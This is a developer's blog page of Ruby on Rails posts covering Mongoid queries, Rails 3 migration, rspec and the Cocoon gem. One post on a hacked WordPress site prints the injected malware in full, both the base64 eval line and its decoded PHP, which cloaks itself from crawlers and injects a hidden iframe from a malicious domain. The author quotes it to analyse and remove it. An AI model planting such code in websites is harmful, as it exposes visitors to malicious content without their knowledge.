Blog
what did i learn today
For me, it started with a tweet from Uncle Bob Martin, saying that if all your domain logic is in your model, or if you put your domain logic inside your models by default, then you are doing it wrong. I think the reasoning behind this is that we should design the domain model before relying on our database model (which is actually an implementation of that domain model). Because the best way to store something in the database is not always to best way to treat or represent or handle the data. In my Rails projects, I have to admit that in most cases the database is my domain model. Which in simple cases is correct, but in more complex cases it is not anymore. Secondly what happens is that your database model could shine through in your UI, or if it does not, your views or helpers could get very heavy. One good way to handle this is to use Presenters. Which goes into the direction of that domain logic, independent of the database. A Presenter is a class that groups all data, knows where to find it, or store it, and will match one-on-one on your presentation/view logic. Thirdly, I went to arrrrcamp, and there was Corey Haines doing his talk about Fast Rails Tests. While this title was very promising, Corey warned us that, in his own words, we would be underwhelmed. This was not entirely true, but not entirely false either :) In short what Corey said was: testing in Rails is slow because we need to drag around the framework, so why not cut out the framework where possible. So he showed an example where he extracted code from models and into separate modules, where you test them standalone. Standalone means: without requiring @spec_helper@. I did this for our modules inside @lib@ where possible, and truth be told: those specs now really fly! Awesome. But the large parts of our test-suite is our models, controllers, views, helpers where this is not possible nor wanted. I want to be able to run our complete test-suite faster, and this was not a solution for that. We scraped a few seconds of our complete time. Extracting code from our models into standalone modules will not make our total test-suite go faster either. Still it is something well worth investigating further. I don't believe in splitting up classes into modules just for the sake of making my tests faster. There has to be some logical reason (pertaining to the domain model --that is). But maybe presenters could be the way out here:
  • they group domain logic
  • while they are responsible for retrieving the correct objects from the database, these actions are just delegated to the responsible models
So that sounds promising to me and a road I will investigate.
In our Rails 3 application we use mongo to store logging of critical actions. At first we did not store a separate timestamp, since the _id (which is a BSON::ObjectId contains a timestamp as well. Our model, simplified, looked like this: [ruby] class Log include Mongoid::Document # mongo id's contain timestamps, 4 bytes = epoch def timestamp Time.at([id.to_s].pack("H8").unpack("N")[0]) end end [/ruby] This is all fine and dandy, but when we wanted to build some reporting, of course we were unable to filter and query based upon date. Mongoid has an easy way to add timestamp fields, and will add the timestamp to all the newly created documents for you. Inside your model just add: [ruby] include Mongoid::Timestamps::Created [/ruby] We only need to track the creation-time, since we are not interested in any updates. Including Mongoid::Timestamps will add and maintain both created_at and updated_at. Now all that remained was adding the created_at field to all existing data. We needed reporting, but also on the existing data. Luckily, the value of the field was known, using the timestamp hidden in the id. Secondly, building a script to add and populate the field was also not too hard. This gist was my inspiration, but unlike that script, I was able to use the higher level interface of Mongoid. [ruby] # To allow querying on time-ranges, we need to add the created_at field. # Querying on the `timestamp` does not seem possible, which is not completely surprising # as it is (if i understand correctly) a part of the `_id` field. # # As a one time operation, we iterate over all documents and add the created_at field # This script has to be run in the Rails environment, please use : # # rails runner script/convert_mongo_add_created_at.rb # COLLECTIONS = ["your-collection"] # Put a list of collection names here def convert_collection(collection) skipped_docs = 0 all_converted_docs = 0 Audit::Log.all.each do |doc| unless doc.respond_to?(:created_at) && doc.created_at.present? doc[:created_at] = doc.timestamp doc.save all_converted_docs +=1 else skipped_docs += 1 end end puts " added :created_at to #{all_converted_docs} documents [skipped: #{skipped_docs}]" puts "Converted #{collection}" end puts "Start conversion ..." @db = Mongoid.database COLLECTIONS.each do |collection| convert_collection collection end [/ruby]
[mongoid] doing a group-by on date
Doing a simple group-by query using mongo and mongoid is actually pretty straightforward. According to the documentation, mongoid does not offer any group/aggregation function itself, but mongo does. And you can directly access the mongo using the collection. So assume we have a mongo collection: [ruby] class Log include Mongoid::Document include Mongoid::Timestamps::Created field :action, :type => String end [/ruby] and now I want to count all occurrences of the different actions. [ruby] Log.collection.group(:key => "action", :initial => { :count => 0 }, :reduce => "function(doc,prev) { prev.count += +1; }") [/ruby] This will return an array of hashes as follows: [ruby] [ {"action"=>"create", "count"=>1565.0}, {"action"=>"update", "count"=>2142.0}, {"action"=>"destroy", "count"=>27.0}] [/ruby] That is already very nice. But now I want to get the results of a certain action, grouped per day and month. [ruby] Log.collection.group(:keyf => "function(doc) { d = new Date(doc.created_at); return {nr_month: d.getMonth(), nr_day: d.getDate() }; }", :initial => { :visits => 0 }, :reduce => "function(doc,prev) { prev.visits += +1; }" ) [/ruby] Notice: the value of :keyf and :reduce is a string containing javascript. This is very flexible, but important: no ruby! But since it is a string, you can use string interpolation to get values in there. We should, of course, add a condition, to limit the result-set. So something like this: [ruby] Log.collection.group(:keyf => "function(doc) { d = new Date(doc.created_at); return {nr_month: d.getMonth() }; }", :initial => { :visits => 0 }, :reduce => "function(doc,prev) { prev.visits += +1; }", :cond => {:action => 'create'}) [/ruby] This will returns the logged create per month. Notice: the :cond and :initial contain regular ruby hashes. Selecting on a date-range is also pretty easy, once you know how this took me hours to find : [ruby] Log.collection.group(:keyf => "function(doc) { d = new Date(doc.created_at); return {nr_month: d.getMonth() }; }", :initial => { :visits => 0 }, :reduce => "function(doc,prev) { prev.visits += +1; }", :cond => {:created_at => {'$gte' => Time.utc(2011,04), '$lt' => Time.utc(2011,05) }) [/ruby] I still have some weird offset error with the dates, since I also get a few from the previous month, but I guess this has something to do with the time-zones. Now, Mongoid can help us to write the condition. We can do something like: [ruby] conditions = Log.where(:created_at.gte => Date.today.at_beginning_of_month, :created_at.lte => Date.today.at_end_of_month).selector Log.collection.group(:keyf => "function(doc) { d = new Date(doc.created_at); return {nr_month: d.getMonth() }; }", :initial => { :visits => 0 }, :reduce => "function(doc,prev) { prev.visits += +1; }", :cond => conditions) [/ruby] Hope this helps.
Take the following steps, by preference install this in a specific gemset [ruby] rvm gemset create rails31 rvm gemset use rails31 gem install bundler gem install rails --pre [/ruby] These steps will create a new gemset and start using it, then install bundler and rails 3.1 (which is still pre-release at the time of writing). Now in rails 3.1 there is a new requirement: you will need a javascript runtime. You can see the full list here. If you are on linux and using straight ruby then therubyracer is just fine. Type [ruby] gem install therubyracer [/ruby] Creating a new rails-project always poses the same problem: creating a new project, with your set of gems, which all have to installed, generators need to be ran ... Rails Wizard solves that. [ruby] gem install rails_wizard [/ruby] Type rails_wizard list to see all possible templates. To create a new rails 3.1 project using jquery, rspec, haml, devise you just need to write: [ruby] rails_wizard new your_new_application_name -r jquery rspec haml devise [/ruby] To go full out on options, you could write: [ruby] rails_wizard new your_new_application_name -r jquery rspec haml devise sass settingslogic git [/ruby]

Note

If you are using a specific gemset for your project, please remember to add your javascript runtime (e.g. I used therubyracer) to your Gemfile. ... and you are ready to go! Happy coding :)
I maintain three wordpress blogs, all hosted at WebFaction. And suddenly this morning, inside all my index.php the first line looked as follows: [sourcecode language="php"] <?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly93dW1wZWFycG15LmN6LmNjL2dvLzEiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiPjwvaWZyYW1lPic7DQp9')) [/sourcecode] Decoded, it looks as follows: [sourcecode language="php"] error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) { $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;} } foreach ($user_agent_to_filter as $bot_sign){ if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;} } if (!$bot) { echo '<iframe src="http://wumpearpmy.cz.cc/go/1" width="1" height="1"></iframe>'; } [/sourcecode] So, roughly, if I understand correctly, it will show an extra iframe with some source it will need to load, but only if the user-agent and ip are not in the list of blocked ips, or blocked bots. My guess: to make sure your site will not be blacklisted, but any visitor will still get spammed. Ok. But how to fix this? First thing was easy: just edit the index.php and fix it! Remove the eval-line! Secondly I notified my host of this. One blog was not using the latest version, so i updated that one. I verified the files of all my blogs against the latest version of Wordpress (3.1.3), and they were all identical except for the mentioned index.php. I changed my ssh/ftp password, because if the attacker had access to all three sites, that seemed to the only option. But within two hours the index-files where hacked again. Ok. This was getting serious. I installed the following plugins:
  • BulletProof Security: does a lot to tighten the security of your site, mainly through adding correct .htaccess files (as far as i can tell). I hope it works :)
  • Wordpress File Monitor Plus: checks if any files are tampered with, and will mail me otherwise
  • WP Security Scan: does a standard series of checks (was not very useful), and also provides some tools to check your passwords and migrate your db-prefix.
  • Wordpress File Monitor: will notify me if any of the wordpress files is tampered with. I hope this will prove to be useful in the future. Not sure if it will help me now ...
  • Exploit Scanner: this scans all files and checks for eval and base64_decode. Only my index.php seem to be touched, but a lot of plugins have code that seems fishy, but I think they are not. I am not seeing any obviously wrong code now. So I am still a bit weary how the index.php could get hacked again.
  • AntiVirus: this checks for the permalink backdoor (all my sites were clear), and can check the current theme. This works for all my sites except one (strange!)
I also changed my secrets in the wp-config.php. I asked my hoster for the log-files. I hope to see something suspicious there. My index.php have not yet been overwritten again, so I hope this will do. I will keep you posted.
configuring TeamCity to run rails projects
In our team we are very happy users of RubyMine, by JetBrains. Now JetBrains also has a continuous integration server, called TeamCity, and it is also capable to run rails rake tasks. Installing TeamCity is close to a non-operation, as described on their website. Just download the package, extract, and run bin/runAll.sh start. Then you can browse to http://localhost:8111 and you are up and running. Unfortunately, getting the build to actually run was a bit more complicated in our case. Our prerequisets:
  • we do not check in any configuration file (like config.yml, database.yml, ...) so each developer can have their own settings.
  • we use bundler to manage our gem dependencies
We use the rake runner, but as you might know: rake tasks will not run unless the bundle is up to date. Luckily we are not the first to encounter that problem, and the suggested solution is actually quite simple, although a bit backward: use a custom rakefile, that will first run the bundle install, then require the actual Rakefile from which you can run the tasks. To create the log folder, the css files (we use sass), the config-files, i had to create specific rake-tasks. We also had a problem that our database was always somehow corrupt. Upon thorough investigation, i was able to pin-point this on the rake db:test:prepare task, that actually does not load the database from the schema.rb, but tries to clone the development database! On our continous integration server there is no development database! So i cleared the db:test:prepare task. Our custom rakefile then looked as follows: [ruby] directory "log" task 'copy_rakefile' do cp 'Rakefile', 't_rakefile.rb', {:verbose => true} end task :bundle_install do sh 'bundle install' end task :sass do Sass::Plugin.update_stylesheets end task :default => [:bundle_install, 'copy_rakefile', 'log'] do RAILS_ENV = ENV['RAILS_ENV'] = 'test' require File.dirname(__FILE__) + '/t_rakefile' # launch rake tasks from the original Rakefile Rake::Task["log:clear"].invoke Rake::Task["teamcity:init_config"].invoke Rake::Task['db:test:prepare'].clear Rake::Task["db:reset"].invoke Rake::Task["environment"].invoke Rake::Task['sass'].invoke Rake::Task["test"].invoke Rake::Task["spec"].invoke Rake::Task["cucumber"].invoke end [/ruby] We had to copy the Rakefile, so we could later require it as a straight ruby-file. Note that to disable the db:test:prepare i used the following code: [ruby] Rake::Task['db:test:prepare'].clear [/ruby] Simple, isn't it :) It's also only cleared when running the teamcity:build, just as we want it. Now we got this working, it is time to enjoy the goodies TeamCity offers us, like spreading over different build agents.
testing image_tag using rspec2 and rails3
When testing your helpers, you might want to test if your call to image_tag generates the correct output. Unfortunately, in Rails, for caching purposes, the asset tag is added which makes testing it somewhat unreliable. Luckily there is an easy way around that. If you define the environment variable RAILS_ASSET_ID, that is used instead of some permutation of the file-creation-date/time. You could set RAILS_ASSET_ID to a specific number, simplifying the tests, because the number will always be the same, on all machines executing the tests. But if you set RAILS_ASSET_ID to an empty string, it effectively removes the tag from the link. For testing this is exactly what we want. So an easy way to test is: [ruby] describe OperatorsHelper do context "get_operator_icon" do before(:each) do ENV['RAILS_ASSET_ID'] = '' end it "returns the image for any operator (not current)" do helper.stub(:current_operator?).and_return(false) @operator = Factory(:operator) helper.get_operator_icon(@operator).should == "<img alt=\"User-business-gray\" src=\"/images/icons/user-business-gray.png\" title=\"interactive user\" />" end it "returns the image for the current operator" do helper.stub(:current_operator?).and_return(true) @operator = Factory(:operator) helper.get_operator_icon(@operator).should == "<img alt=\"User-business\" src=\"/images/icons/user-business.png\" title=\"interactive user (yourself)\" />" end end end [/ruby] Hope this might help someone with the same problem :)
upgrading to Ubunty 11.04: nvidia troubles
When upgrading my development machine to Ubunty 11.04, Natty Narwal, I also had a problem with nvidia drivers, and I want to list all possible solutions to fix that. First the symptoms: my Ubuntu would boot up, but the screen would just turn black. When booting in failsafeX it would work, but not with Unity (I would get white areas instead of window-content), because it needs the 3D acceleration? But when trying to enable the nvidia card in any way, and rebooting normally, I would end up with black screens. So what did i attempt to fix all that:
  • I removes the previously installed drivers and installed them again: this will make sure the drivers are rebuilt against the current kernel. This could already help.
  • Booting through failsafeX and activating the current driver; also using the previous driver (173): did not help me either
  • i added UNITY_FORCE_START=1 to /etc/environment as mentioned here (as GeForce 7300/7400 are blacklisted, but i have a GeForce Go 7100)
But it all kept failing. So, last resort (I should have thought of it earlier), I investigated the X-logfiles. Inside my /var/log/Xorg.0.log I found that nvidia had problems allocating the memory: [bash] [ 14.055] (EE) NVIDIA(0): Failed to allocate primary buffer: out of memory. [ 14.055] (EE) NVIDIA(0): *** Aborting *** [/bash] Apparently this is a known bug, and i had to do the following to fix this:
  • edit /etc/default/grub
  • find the option GRUB_CMDLINE_LINUX and add nopat, so for me this looked like [bash] GRUB_CMDLINE_LINUX="nopat" [/bash]
  • run sudo update-grub
And then, finally, everything worked fine for me :) Hope this helps.
allowing double render in rails3
I migrated the actionwebservice gem to rails3. Inside actionwebservice (server-side) there is the option to test your SOAP interface. What this does, under the cover, is first handle the SOAP-request (and render the result), and then wrap those results inside a HTML-view. Very nice. To circumvent the double render exception in rails2 you had to call a function erase_render_results. Unfortunately this function is no longer available in rails3. Luckily the fix is quite easy (but it took me a while to find). Inside actionwebservice the following function was called inside a controller to allow a second render: [ruby] def reset_invocation_response erase_render_results response.instance_variable_set :@header, Rack::Utils::HeaderHash.new(::ActionController::Response::DEFAULT_HEADERS.merge("cookie" => [])) end [/ruby] To make this work in rails3, you just have to write: [ruby] def reset_invocation_response self.instance_variable_set(:@_response_body, nil) response.instance_variable_set :@header, Rack::Utils::HeaderHash.new("cookie" => [], 'Content-Type' => 'text/html') end [/ruby] So in short: to allow a second render, you have to
  • set the controller's instance variable @_response_body to nil
  • reset the content-header
Hope this helps.
During the migration of a huge application from rails2 to rails3 I encountered a seriously baflling error. In almost every controller spec, i got the the following error: [ruby] Caught ActionController::RoutingError: No route matches {:controller=>"home"} [/ruby] This got me puzzling. If i ran a single controller-spec it worked, running the whole bunch failed (using rake spec or rspec spec/controllers/**/*_spec.rb). So I posted a question on stackoverflow and on the rspec-mailing-list. When googling, all related issues seemed to be caused by actual errors in config/routes.rb, but my application was working, it was generating all links correctly. It only failed when testing, and only when running the full suite. What i did to solve this, was actually compare the log-files of a single group of working controllers with the total set of controllers. And there it was: the routing table was erased by the first spec i ran. We have a base controller class where the shared behaviour for our API-controllers is placed. To test this controller we create, inside our spec, a new controller-class that derives from that baseclass and add a new route. In rails2 and rspec1 this spec looked as follows (simplified): [ruby] require 'spec_helper' class WsTestController < Ws::BaseController def index end end ActionController::Routing::Routes.draw do |map| map.connect ':controller/:action/:id' map.connect ':controller/:action/:id.:format' end describe WsTestController do context "without authentication" do it("asks for Basic authentication") { get :index response.status.should contain("401") } end context "with authentication" do # .. snipped the rest .. end end [/ruby] Now apparently what happens now, in rails3, is that instead of adding routes, the entire routing table is replaced by these routes. Whoops. So in effect, this was almost the only controller-spec that actually worked. When i disabled this spec, or more specifically the part where the routes are manhandled, all my controller and view specs worked again. So how do you fix this? How can you dynamically add routes in rails3 at runtime? Luckily google found the solution here. So my working spec for rails3/rspec2 looks as follows (and that doesn't interfere with my other specs) : [ruby] require 'spec_helper' class WsTestController < Ws::BaseController def index render :text => 'this worked' end end describe WsTestController do before(:each) do begin _routes = Dpplus::Application.routes _routes.disable_clear_and_finalize = true _routes.clear! Dpplus::Application.routes_reloader.paths.each{ |path| load(path) } _routes.draw do # here you can add any route you want get "ws_test/index" end ActiveSupport.on_load(:action_controller) { _routes.finalize! } ensure _routes.disable_clear_and_finalize = false end end context "without authentication" do it("asks for Basic authentication") { get :index response.status.should contain("401") response.header["WWW-Authenticate"].should contain('Basic') } end context "with authentication" do # ..snipped ... end end [/ruby] Hope this helps :)
I have created a few rails 3 sites, but i have never before ported an existing rails2 application to rails3. I will describe the problems i encountered. First off there were some very good resources (step-by-step descriptions) to guide me through it: The conversion ran pretty smoothly, but I will describe the things i bumped into that were less obvious.

ActiveSupport::Callbacks

Before we wrote: [ruby] module Workflow class Base define_callbacks :before_something, :after_something def some_method run_callbacks :before_something puts "some method" run_callbacks :after_something end end class SpecificWorkflow < Base before_something :do_something def do_something puts "something" end end [/ruby] Now, this has changed. Into the following: [ruby] module Workflow class Base define_callbacks :something def some_method run_callbacks :something do puts "some method" end end end class SpecificWorkflow < Base set_callback :something, :before, :do_something def do_something puts "something" end end [/ruby] Which is pretty nice. It has the disadvantage we can only use :before and :after callbacks anymore, but that was easily solved.

ActionController::ParamsParser

We hooked into the Rack middleware before the ActionController::ParamsParser to make sure we return Bad Request when the parsing fails. This middleware has been renamed to ActionDispatch::ParamsParser. Easy fix :)

safe_helper removed?

We prepared our Rails 2 project a long time ago, and used the rails_xss plugin. We used the safe_helper all over our helper-methods, but apparently this is not supported in Rails 3. Bummer. So, before [ruby] def some_helper "<strong>something</strong>" end safe_helper :some_helper [/ruby] After: [ruby] def some_helper "<strong>something</strong>".html_safe end [/ruby] A bit annoying to do, a bit unfortunate, because we thought we were preparing ourselves for a smoother upgrade. Not entirely so.

The routes!

Only after those steps did my rails get far enough to discover my routes. I did not change anything about the routes, just placed inside the correct block. I deleted my index.html and put back my original application.html.haml and the first view was working.

The missing to_key

The to_key was missing inside the user_session model. I described that solution already in this blogpost. So i just needed to fix that.

Replacing ActionController::RecordIdentifier.singular_class_name

We used ActionController::RecordIdentifier.singular_class_name, in rails3 this is replaced by ActionController::RecordIdentifier.dom_class.

Missing translations

A feature we used a lot was I18n.t('.filter') and this would look for operators.filter.filter because the line was inside a partial _shared/_filter.html.haml and called from the operators/index.html.haml. Now this does not work anymore, and now instead I18n looks for _shared.filter.filter. I did not find an easy way to solve this, just moved some translations. Luckily we did not override the translations of a partial based on the context where it was rendered yet. Does anybody has any tips on that?

Upgrading javascript helpers

In rails3 unobtrusive is the way to go. So, a remote_form_for like [ruby] - form_remote_tag :url => update_url do [/ruby] becomes [ruby] - form_tag :url => update_url, :remote => true do [/ruby] Which seems easy enough. It does get more complicated when the :update tag is used. For example: [ruby] - remote_form_for post, :update => {:success => "result_#{id}"} do |form| [/ruby] becomes [ruby] - remote_form_for post, :remote => true, :html => {:class => 'remote-post-form', :'data-update' => "#result_#{id}"} do |form| [/ruby] The :update is no longer supported as before, and we have to perform some glueing ourselves. So i replaced the :update by data-update. And then inside javascript (e.g. application.js) we can do the following: [javascript] jQuery(function($) { $(".remote-post-form") .bind("ajax:success", function(data, status, xhr) { var update_selector = $(this).attr('data-update'); $(update_selector).html(status); }); }); [/javascript] If you need more elaborate example, check this question on stackoverflow.

master_helper_module

This has been replaced by _helpers.

active_layout

The active_layout method, of a controller, no longer exists inside rails3. To replace it you need to use two methods:
  • action_has_layout? returns true if a layout exists.
  • To get the layout-name, i have no better solution then calling the private method _layout. This can be done, as known, by doing controller.send(:_layout).

Upgrade rspec

I had to upgrade Rspec 1 to v2. First off in the Gemfile i added the correct version. I removed the rspec.rake file. I ran [ruby] rails g rspec:install [/ruby] But still all rake spec commands were missing. The fix was simple. In the Gemfile make sure the rspec-rails is also usable from development mode: [ruby] group :development, :test do gem 'rspec-rails' end [/ruby] Now on to fixing the tests!

Fixing the tests

In the upgrade from rspec1 to rspec2 a lot of things have changed. What i encountered:
  • replace all Spec:: by RSpec::
  • controller_name 'users' no longer exists, write a surrounding describe UsersController do instead (that is also clearer imho)
  • ...

Extending Rspec::Rails::ExampleGroup::ControllerExampleGroup

Before, in rspec1, ControllerExampleGroup was a class and you could add code to it. So for instance, we had a file like this in our support folder: [ruby] module RSpec module Rails module Example class ControllerExampleGroup let(:the_account ) { Factory(:account) } let(:the_user ) { Factory(:user)} end end end end [/ruby] A bit larger, but you get the picture: this allowed us to define a set of shared let definitions. In rspec-2 this is no longer possible this way, because ControllerExampleGroup is now a module. I handled that like this: [ruby] module Lets def self.included(base) base.let(:the_account ) { Factory(:account) } base.let(:the_user ) { Factory(:user)} end end [/ruby] and inside my spec_helper this file is automatically required (since it is stored in the support folder) and i just add [ruby] config.include(Lets) [/ruby]

Rspec: replace config.extend

I also noticed that using config.extend(ModuleName) dit not work anymore. Instead i had to write (on the same place, inside the configure block) : [ruby] Rspec.configure do |config| .. include ModuleName .. end [/ruby] and that worked for me.

More?

Do you have more hints to share? What bumps did you find and how did you overcome them?
Cocoon: handling nested forms
cocoon is a Rails3 gem to allow easier handling of nested forms. Nested forms are forms that handle nested models and attributes dynamically in one form. Some standard examples: a project with its tasks, an invoice with its ordered items. It is formbuilder-agnostic, so it works with standard Rails, or formtastic or simple_form.

Prerequisites

This gem uses jQuery, it is most useful to use this gem in a rails3 project where you are already using jQuery. Furthermore i would advice you to use either formtastic or simple_form. I have a sample project where I demonstrate the use of cocoon with formtastic.

Installation

Inside your `Gemfile` add the following: [ruby] gem "cocoon" [/ruby] Run the installation task: [ruby] rails g cocoon:install [/ruby] This will install the needed javascript file. Inside your application.html.haml you will need to add below the default javascripts: [ruby] = javascript_include_tag :cocoon [/ruby] or using erb, you write [ruby] <%= javascript_include_tag :cocoon %> [/ruby] That is all you need to do to start using it!

Usage

Suppose you have a model Project: [ruby] rails g scaffold Project name:string description:string [/ruby] and a project has many tasks: [ruby] rails g model Task description:string done:boolean project_id:integer [/ruby] Edit the models to code the relation: [ruby] class Project < ActiveRecord::Base has_many :tasks accepts_nested_attributes_for :tasks end class Task < ActiveRecord::Base belongs_to :project end [/ruby] What we want to achieve is to get a form where we can add and remove the tasks dynamically. What we need for this, is that the fields for a new/existing task are defined in a partial view called _task_fields.html. Note: the name of the partial is really important, as this plugin will look for the partial named as the singular of the relation + _fields. We will show the sample usage with the different possible form-builders.

Using formtastic

Inside our projects/_form partial we then write: [ruby] - f.inputs do = f.input :name = f.input :description %h3 Tasks #tasks = f.semantic_fields_for :tasks do |task| = render 'task_fields', :f => task .links = link_to_add_association 'add task', f, :tasks -f.buttons do = f.submit 'Save' [/ruby] and inside the _task_fields partial we write: [ruby] .nested-fields = f.inputs do = f.input :description = f.input :done, :as => :boolean = link_to_remove_association "remove task", f [/ruby] That is all there is to it! There is an example project on github implementing it called cocoon-formtastic-demo.

Using simple_form

This is almost identical to formtastic, instead of writing semantic_fields_for you write simple_fields_for. There is an example project on github implementing it called cocoon_simple_form_demo.

Using standard rails forms

I will provide a full example (and a sample project) later.

How it works

I define two helper functions:

link_to_add_association

This function will add a link to your markup that will, when clicked, dynamically add a new partial form for the given association. This should be placed below the semantic_fields_for. It takes three parameters:
  • name: the text to show in the link
  • f: referring to the containing formtastic form-object
  • association: the name of the association (plural) of which a new instance needs to be added (symbol or string).

link_to_remove_association

This function will add a link to your markup that will, when clicked, dynamically remove the surrounding partial form. This should be placed inside the partial _#{association-object-singular}_fields.

Partial

!!!Important The partial should be named _#{association-object_singular}_fields, and should start with a div of class nested-fields. There is no limit to the amount of nesting, though.

To conclude

I hope it can be of use. Let me know what you think.
handling migrations in rails 3 engines
In the process of converting a rails 2.3.* plugin to a rails 3 gem, i bumped into the problem of converting the migrations too. There was some documentation in the rails-guides, but it did not quite do what i wanted. I also found out that in the next version of rails (3.1) there will be support for rake tasks for migrations from engines. What i wanted was that upon invocation of my InstallGenerator, also the migrations would be added, and the user could just do rake db:migrate. So, presume my gem is called MyGem, i want that the following line could be run: [ruby] rails g my_gem:install [/ruby] To achieve this goal, you need to define an InstallGenerator that will add the migrations to the Rails application itself.

create the generator

